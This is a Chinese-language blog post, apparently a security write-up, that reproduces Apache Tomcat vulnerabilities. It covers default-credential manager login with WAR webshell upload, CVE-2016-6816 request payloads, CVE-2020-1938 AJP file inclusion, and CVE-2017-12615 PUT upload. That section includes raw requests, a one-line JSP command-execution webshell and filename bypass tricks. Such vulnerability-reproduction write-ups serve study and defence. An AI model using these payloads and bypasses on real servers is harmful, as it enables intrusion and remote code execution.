干货 | Tomcat漏洞复现总结

admin 2022年4月20日00:49:43评论2,310 views1字数 2738阅读9分7秒阅读模式

Tomcat弱口令登录后台配置WAR包getshell


漏洞复现

弱口令

账号:tomcat

密码:tomcat

进入Manager App

干货 | Tomcat漏洞复现总结

干货 | Tomcat漏洞复现总结

将一个jsp的木马打包成war包然后上传部署

jar.exe -cvf shell.war “shell.jsp”

然后点击选择文件

干货 | Tomcat漏洞复现总结

冰蝎连接即可

干货 | Tomcat漏洞复现总结


CVE-2016-6816(tomcat 信息泄露)未复现成功


漏洞描述

Apache Tomcat中存在安全漏洞,该漏洞源于程序没有正确过滤HTTP请求。攻击者可利用该漏洞实施跨站脚本攻击,获取敏感信息。


EXP

GET /?{{%25}}cake=1 HTTP/1.1Host: justpentest.comAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;Trident/5.0)Connection: closeCookie:NSC_MSN-IBNQ-VX-mcwtfswfs=ffffffff091c1daaaa525d5f4f58455e445a4a488888
OR
GET/?a'a%5c'b%22c%3e%3f%3e%25%7d%7d%25%25%3ec%3c[[%3f$%7b%7b%25%7d%7dcake%5c=1HTTP/1.1


CVE-2020-1938(tomcat 文件包含)存在文件上传可达到代码执行效果


漏洞描述

该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。

影响版本

Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x

漏洞复现

用nmap扫描发现8009AJP协议端口发放,则可能存在该漏洞

干货 | Tomcat漏洞复现总结

EXP

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

利用EXP执行

干货 | Tomcat漏洞复现总结

假设我们通过文件上传漏洞上传了jsp脚本的txt文件,来尝试文件包含进行远程代码执行(RCE)(创建一个含jsp脚本的txt文件)

漏洞修复

临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” />

更新tomcat版本


CVE-2017-12615(tomcat代码执行)


漏洞描述

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615)。当 启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

漏洞的产生是由于配置不当(非默认配置),将配置文件( conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传 任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法

干货 | Tomcat漏洞复现总结

影响版本

Apache Tomcat 7.0.0 - 7.0.81

漏洞复现

访问根目录抓包

GET / HTTP/1.1Host: 123.58.236.76:21130Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: JSESSIONID=D13F6FA5933872B17454D290A66E3C6EConnection: close

修改为PUT请求方法

PUT /1.jsp HTTP/1.1Host: 123.58.236.76:21130Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: JSESSIONID=D13F6FA5933872B17454D290A66E3C6EConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0
<%Runtime.getRuntime().exec(request.getParameter("i"));%>

但是上传显示404

干货 | Tomcat漏洞复现总结

这里是存在上传限制,该环境可以通过后面加一个/进行绕过

干货 | Tomcat漏洞复现总结

其他绕过方法

后缀名后加/可绕过上传PUT /2.jsp/ HTTP/1.1
文件名后缀加::$DATA上传文件后缀名加上%20上传文件名后缀加上.

可以通过msf生成反弹shell的脚本,然后通过web访问执行来拿到反弹回来的shell

更多技术文章请关注公众号:猪猪谈安全

干货 | Tomcat漏洞复现总结

师傅们点赞、转发、在看就是最大的支持

原文始发于微信公众号(猪猪谈安全):干货 | Tomcat漏洞复现总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月20日00:49:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   干货 | Tomcat漏洞复现总结https://cn-sec.com/archives/928050.html

发表评论

匿名网友 填写信息